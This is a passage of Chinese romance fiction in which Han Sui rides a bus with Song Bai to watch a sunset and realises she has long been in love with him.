正当韩岁犹豫还要不要折腾这么一下时,宋柏已看穿她眼底的向往,二话不说拎起她胳膊,朝售票台奔去,那里正好停着一辆大巴车。 宋柏的速度快到韩岁还没来得及反应屁股就已经坐在了大巴车的座椅上。 有些硬,硌人。 但已经来不及埋冤了,车在上行,她的心跳在加快,久违地兴奋感在她心底发出跳跳糖一样的弹跳声,让她忍不住想起以前每一次宋柏带着她在外面玩耍时,胆战心惊的新奇体验,令人害怕,又忍不住靠近。 因为她知道,宋柏从来不会让她失望。 以前是这样,现在也会是这样。 太阳往下沉没,晚霞的余晖拨开层层云朵,橙红色的夕阳像是毛笔落下后撒下的颜料,染红整片天际,像一幅温柔的油画,徐徐在眼前展开。 韩岁站在观景台上,用眼睛悄然记录下这一刻,记忆一一重叠,总是会不停给她惊喜、给予她热烈又滚烫的情绪、在她崩裂时细心拼凑、还永远热情的人此刻就站在她身侧。 跨越六年的未解之谜在此时豁然开朗,韩岁感到前所未有的清晰。 她居然直到此刻才意识到,为什么六年前有一周没收到宋柏的信息她会生气生到再也不愿与他联系,而为什么六年后两具身体贴在一起时她会变得僵硬,心跳会乱,但又还是忍不住频频朝他靠近,这所有的所有全都指向一个结论—— 她喜欢宋柏。